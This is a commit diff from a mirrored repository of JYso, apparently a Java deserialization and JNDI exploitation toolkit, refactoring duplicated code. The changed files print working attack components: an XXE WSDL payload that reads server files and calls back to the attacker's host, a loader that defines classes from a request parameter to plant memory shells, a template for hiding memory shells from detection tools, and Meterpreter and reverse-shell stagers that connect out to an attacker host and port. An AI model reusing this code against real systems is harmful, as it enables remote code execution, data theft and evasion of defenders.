archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-21 22:40:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix: 去除多个类中的重复代码段

Browse Source
This commit is contained in:
qi4l
2026-04-29 14:11:54 +08:00
parent f33de9d82c
commit b21bc285cc
8 changed files with 127 additions and 234 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+2 -2
View File
@@ -1,5 +1,5 @@
<p style="text-align: center;">
<img src="docs/img/logo.png" width="150" alt="100">
<p align="center">
<img src="docs/img/logo.png" width="120">
</p>
<h1 style="text-align: center;"> JYso </h1>
src/main/java/com/qi4l/JYso/HTTPServer.java
+29 -84
View File
@@ -5,18 +5,19 @@ import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.template.ReverseShellTemplate;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.lang3.reflect.FieldUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.Map;
import java.util.jar.JarOutputStream;
@@ -24,16 +25,16 @@ import java.util.zip.ZipEntry;
import static org.fusesource.jansi.Ansi.ansi;
@SuppressWarnings("HttpUrlsUsage")
public class HTTPServer {
private static final Logger log = LogManager.getLogger(HTTPServer.class);
// 获取根目录路径
public static String cwd = System.getProperty("user.dir");
public static void start() throws IOException {
HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0);
httpServer.createContext("/", new HttpHandler() {
@Override
public void handle(HttpExchange httpExchange) {
httpServer.createContext("/", httpExchange -> {
try {
System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()));
@@ -71,8 +72,7 @@ public class HTTPServer {
handleFileRequest(httpExchange);
}
} catch (Exception e) {
e.printStackTrace();
}
log.error("e: ", e);
}
});
@@ -86,16 +86,7 @@ public class HTTPServer {
String path = exchange.getRequestURI().getPath();
String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1);
File file = new File(filename);
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
FileInputStream fileInputStream = new FileInputStream(file);
fileInputStream.read(bytes);
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
serveFileContent(exchange, file, null, null);
exchange.close();
}
@@ -120,18 +111,7 @@ public class HTTPServer {
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + YamlName + ".yml");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
serveFileContent(exchange, file, "Content-type", "application/octet-stream");
}
exchange.close();
@@ -150,19 +130,7 @@ public class HTTPServer {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + txtname + ".txt");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: @|" + 404));
exchange.sendResponseHeaders(404, 0);
}
serveFileContent(exchange, file, "Content-type", "application/octet-stream");
}
exchange.close();
}
@@ -283,19 +251,7 @@ public class HTTPServer {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + xmlName + ".xml");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
serveFileContent(exchange, file, "Content-Type", "application/xml; charset=utf-8");
}
exchange.close();
@@ -331,18 +287,7 @@ public class HTTPServer {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + sqlName + ".sql");
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
serveFileContent(exchange, file, null, null);
}
exchange.close();
}
@@ -371,18 +316,7 @@ public class HTTPServer {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + groovyName + ".groovy");
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
serveFileContent(exchange, file, null, null);
}
exchange.close();
@@ -440,10 +374,7 @@ public class HTTPServer {
File file = new File(pa);
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
byte[] bytes = Files.readAllBytes(file.toPath());
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length());
exchange.getResponseBody().write(bytes);
@@ -468,7 +399,7 @@ public class HTTPServer {
// intended to list directories or read files on server
String file = params.get("file");
if (file != null && !file.isEmpty()) {
String listWsdl = "" +
String listWsdl =
"<!DOCTYPE x [\n" +
" <!ENTITY % aaa SYSTEM \"file:///" + file + "\">\n" +
" <!ENTITY % bbb SYSTEM \"http://" + Config.ip + ":" + Config.httpPort + "/http.wsdl\">\n" +
@@ -528,6 +459,20 @@ public class HTTPServer {
}
}
private static void serveFileContent(HttpExchange exchange, File file, String headerKey, String headerValue) throws IOException {
if (file.exists()) {
byte[] bytes = Files.readAllBytes(file.toPath());
if (headerKey != null) {
exchange.getResponseHeaders().set(headerKey, headerValue);
}
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
private static Map<String, String> parseQuery(String query) {
Map<String, String> params = new HashMap<>();
src/main/java/com/qi4l/JYso/LdapServer.java
+7 -4
View File
@@ -9,6 +9,8 @@ import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.reflections.Reflections;
import javax.net.ServerSocketFactory;
@@ -26,6 +28,7 @@ import static org.fusesource.jansi.Ansi.ansi;
public class LdapServer extends InMemoryOperationInterceptor {
private static final Logger log = LogManager.getLogger(LdapServer.class);
public static TreeMap<String, LdapController> routes = new TreeMap<>();
public LdapServer() throws Exception {
@@ -60,7 +63,7 @@ public class LdapServer extends InMemoryOperationInterceptor {
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
if (!USER.equals("") || !PASSWD.equals("")) {
if (!USER.isEmpty() || !PASSWD.isEmpty()) {
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
}
@@ -71,14 +74,14 @@ public class LdapServer extends InMemoryOperationInterceptor {
ds.startListening();
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >> " + Config.ldapPort + "..."));
} catch (Exception e) {
e.printStackTrace();
log.error("e: ", e);
}
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base;
if (!ROUTE.equals("")) {
if (!ROUTE.isEmpty()) {
base = ROUTE;
} else {
base = result.getRequest().getBaseDN();
@@ -88,7 +91,7 @@ public class LdapServer extends InMemoryOperationInterceptor {
base = base64Decode(base);
base = JNDIUtils.decrypt(base, AESkey);
}
} catch (Exception AESerr) {
} catch (Exception ignored) {
}
src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java
+5 -5
View File
@@ -31,7 +31,7 @@ public class ClassLoaderTemplate {
ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length);
Class<?> invoke = (Class<?>) defineClass.invoke(classLoader, bytes, 0, bytes.length);
invoke.newInstance();
//ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
@@ -63,17 +63,17 @@ public class ClassLoaderTemplate {
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
Class<?> base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
Object decoder = base64.getMethod("getDecoder").invoke(base64);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java
+10 -21
View File
@@ -5,6 +5,7 @@ package com.qi4l.JYso.template;
* 从 Parameter 默认为 "dc" 中取字符进行 base64 decode，然后进行类加载，参考 ShiroAttack2
* 内存马 class 文件可以自行生成，base64 编码后由 request body 中的 dc 参数传递
*/
@SuppressWarnings("unused")
public class DefineClassFromParameter {
public static String parameter = "dc";
@@ -16,9 +17,8 @@ public class DefineClassFromParameter {
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[]) f.get(group);
for (int i = 0; i < threads.length; i++) {
for (Thread t : threads) {
try {
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
@@ -45,20 +45,20 @@ public class DefineClassFromParameter {
obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
java.util.List processors = (java.util.List) (f.get(obj));
for (int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
java.util.List<?> processors = (java.util.List<?>) (f.get(obj));
for (Object processor : processors) {
f = processor.getClass().getDeclaredField("req");
f.setAccessible(true);
Object req = f.get(processor);
Object note = req.getClass().getMethod("getNote", new Class[]{Integer.TYPE}).invoke(req, new Object[]{new Integer(1)});
String payload = (String) note.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(note, new Object[]{parameter});
Object note = req.getClass().getMethod("getNote", Integer.TYPE).invoke(req, 1);
String payload = (String) note.getClass().getMethod("getParameter", String.class).invoke(note, parameter);
if (payload != null && !payload.isEmpty()) {
byte[] classBytes = base64Decode(payload);
if (classBytes == null) continue;
java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(DefineClassFromParameter.class.getClassLoader(), classBytes, new Integer(0), new Integer(classBytes.length));
Class<?> clazz = (Class<?>) method.invoke(DefineClassFromParameter.class.getClassLoader(), classBytes, 0, classBytes.length);
clazz.newInstance();
}
@@ -74,21 +74,10 @@ public class DefineClassFromParameter {
}
public static byte[] base64Decode(String bs) {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
return ClassLoaderTemplate.base64Decode(bs);
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception ignored) {
return null;
}
}
return value;
}
}
src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java
+6 -19
View File
@@ -10,10 +10,11 @@ import java.io.FileOutputStream;
* 使常见的工具无法检测出系统内的内存马
* 由于 classes 文件夹默认不存在，因此需要较高的读写权限
*/
@SuppressWarnings("unused")
public class HideMemShellTemplate extends ClassLoader {
static String b64;
static String b64 = "";
static String className;
static String className = "";
static {
try {
@@ -45,7 +46,7 @@ public class HideMemShellTemplate extends ClassLoader {
File file = new File(javaHome + "/classes/" + className.replace(".", "/") + ".class");
if (!file.getParentFile().exists()) {
file.getParentFile().mkdirs();
boolean ignored = file.getParentFile().mkdirs();
}
FileOutputStream fos = new FileOutputStream(file);
@@ -54,22 +55,8 @@ public class HideMemShellTemplate extends ClassLoader {
fos.close();
}
public static byte[] base64Decode(String bs) {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>) null).invoke(base64, (Object) null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception ignored) {
}
}
return value;
public static byte[] base64Decode(String bs) throws Exception {
return ClassLoaderTemplate.base64Decode(bs);
}
src/main/java/com/qi4l/JYso/template/Meterpreter.java
+21 -47
View File
@@ -11,10 +11,6 @@ import java.util.HashMap;
public class Meterpreter
extends ClassLoader
implements Runnable {
static /* synthetic */ Class class$0;
static /* synthetic */ Class class$1;
static /* synthetic */ Class class$2;
static {
Meterpreter meterpreter = new Meterpreter();
@@ -24,7 +20,7 @@ public class Meterpreter
public String host;
public String port;
private HashMap parameterMap;
private HashMap<String, byte[]> parameterMap;
public static void main(String[] args) {
Meterpreter meterpreter = new Meterpreter();
@@ -48,9 +44,13 @@ public class Meterpreter
return "";
}
@SuppressWarnings("unchecked")
public boolean equals(Object paramObject) {
if (!(paramObject instanceof HashMap)) {
return false;
}
try {
this.parameterMap = (HashMap) paramObject;
this.parameterMap = (HashMap<String, byte[]>) paramObject;
this.host = this.get("host");
this.port = this.get("port");
} catch (Exception e) {
@@ -60,20 +60,19 @@ public class Meterpreter
}
public void getShell() throws Exception {
InputStream inputStream1 = null;
OutputStream outputStream = null;
int j = new Integer(this.port);
int j = Integer.parseInt(this.port);
String str4 = this.host;
Socket socket = null;
if (str4 != null) {
socket = new Socket(str4, j);
if (str4 == null) {
return;
}
inputStream1 = socket.getInputStream();
outputStream = socket.getOutputStream();
try (Socket socket = new Socket(str4, j)) {
InputStream inputStream1 = socket.getInputStream();
OutputStream outputStream = socket.getOutputStream();
new Meterpreter().bootstrap(inputStream1, outputStream);
}
}
private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {
private void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) {
try {
Class<?> clazz;
DataInputStream dataInputStream = new DataInputStream(paramInputStream);
@@ -84,53 +83,28 @@ public class Meterpreter
clazz = this.defineClass(null, arrayOfByte, 0, i);
this.resolveClass(clazz);
} while ((i = dataInputStream.readInt()) > 0);
Object object = clazz.newInstance();
Class[] classArray = new Class[3];
Class<?> clazz2 = class$0;
if (clazz2 == null) {
try {
clazz2 = class$0 = Class.forName("java.io.DataInputStream");
} catch (ClassNotFoundException classNotFoundException) {
throw new NoClassDefFoundError(classNotFoundException.getMessage());
}
}
classArray[0] = clazz2;
Class<?> clazz3 = class$1;
if (clazz3 == null) {
try {
clazz3 = class$1 = Class.forName("java.io.OutputStream");
} catch (ClassNotFoundException classNotFoundException) {
throw new NoClassDefFoundError(classNotFoundException.getMessage());
}
}
classArray[1] = clazz3;
Class<?> clazz4 = class$2;
if (clazz4 == null) {
try {
clazz4 = class$2 = Class.forName("[Ljava.lang.String;");
} catch (ClassNotFoundException classNotFoundException) {
throw new NoClassDefFoundError(classNotFoundException.getMessage());
}
}
classArray[2] = clazz4;
clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""});
Object object = clazz.getDeclaredConstructor().newInstance();
clazz.getMethod("start", DataInputStream.class, OutputStream.class, String[].class)
.invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""});
} catch (Throwable throwable) {
// empty catch block
}
}
@Override
@SuppressWarnings("CallToPrintStackTrace")
public void run() {
try {
this.getShell();
} catch (Exception exception) {
System.out.println(exception);
exception.printStackTrace();
// empty catch block
}
}
public String get(String key) {
try {
return new String((byte[]) this.parameterMap.get(key));
return new String(this.parameterMap.get(key));
} catch (Exception e) {
return null;
}
src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java
+2 -7
View File
@@ -8,12 +8,8 @@ import static org.objectweb.asm.Opcodes.*;
public class ReverseShellTemplate implements Template {
private String className;
private byte[] bytes;
private String ip;
private int port;
public ReverseShellTemplate(String ip, String port) {
this(ip, Integer.parseInt(port));
}
private final String ip;
private final int port;
public ReverseShellTemplate(String ip, int port) {
@@ -46,7 +42,6 @@ public class ReverseShellTemplate implements Template {
ClassWriter cw = new ClassWriter(0);
FieldVisitor fv;
MethodVisitor mv;
AnnotationVisitor av0;
cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);